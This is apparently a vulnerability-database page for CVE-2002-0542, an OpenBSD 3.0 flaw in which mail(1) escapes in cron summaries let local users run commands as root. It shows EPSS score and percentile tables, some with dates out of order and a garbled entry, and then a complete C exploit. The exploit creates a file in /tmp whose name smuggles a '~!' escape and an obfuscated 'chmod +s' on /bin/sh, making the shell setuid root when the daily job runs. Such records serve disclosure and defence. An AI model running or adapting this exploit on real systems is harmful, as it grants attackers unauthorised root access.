CVE-2002-0542 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.92%	–	–
2022-02-13	–	–	1.92%	–	–
2022-04-03	–	–	1.92%	–	–
2022-06-26	–	–	1.92%	–	–
2022-11-13	–	–	1.92%	–	–
2022-11-20	–	–	1.92%	–	–
2022-12-11	–	–	1.92%	–	–
2022-12-18	–	–	1.92%	–	–
2022-12-25	–	–	1.92%	–	–
2023-01-01	–	–	1.92%	–	–
2023-02-12	–	–	1.92%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-12-22	–	–	–	0.05%	–
2025-03-02	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-03-09	–	–	–	0.05%	–
2025-03-18	–	–	–	–	0.31%
2025-03-30	–	–	–	–	0.31%
2025-04-15	–	–	–	–	0.31%
2025-04-15	–	–	–	–	0.31,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	55%
2022-02-13	56%
2022-04-03	76%
2022-06-26	77%
2022-11-13	78%
2022-11-20	77%
2022-12-11	78%
2022-12-18	77%
2022-12-25	78%
2023-01-01	77%
2023-02-12	78%
2023-03-12	–
2024-06-02	–
2024-12-22	18%
2025-03-02	19%
2025-01-19	18%
2025-03-09	19%
2025-03-18	52%
2025-03-30	51%
2025-04-15	53%
2025-04-15	53%

/* source: https://www.securityfocus.com/bid/4495/info OpenBSD ships with a number of cron jobs configured by default. The tasks are for the purpose of summarizing system information. The mail(1) utility is used to send the summaries to the root user. This utility supports escaped characters in message text indicating commands to be executed during processing. If attacker-supplied data can be included in the message text passed to mail(1), commands specified by the attacker may be executed as root. If the attacker embeds the escape sequence followed by an arbitrary command in this data, the commands will be executed as root when the cron task runs. It is possible for an attacker to embed data in filenames, which are included in the emails. */ /* * (c) 2002 venglin@freebsd.lublin.pl * * OpenBSD 3.0 (before 08 Apr 2002) * /etc/security + /usr/bin/mail local root exploit * * Run the exploit and wait for /etc/daily executed from crontab. * /bin/sh will be suid root next day morning. * * Credit goes to urbanek@openbsd.cz for discovering vulnerability. * */ #include <fcntl.h> int main(void) { int fd; chdir("/tmp"); fd = open("\n~!chmod +s `perl -e 'print \"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777); if (fd) close(fd); }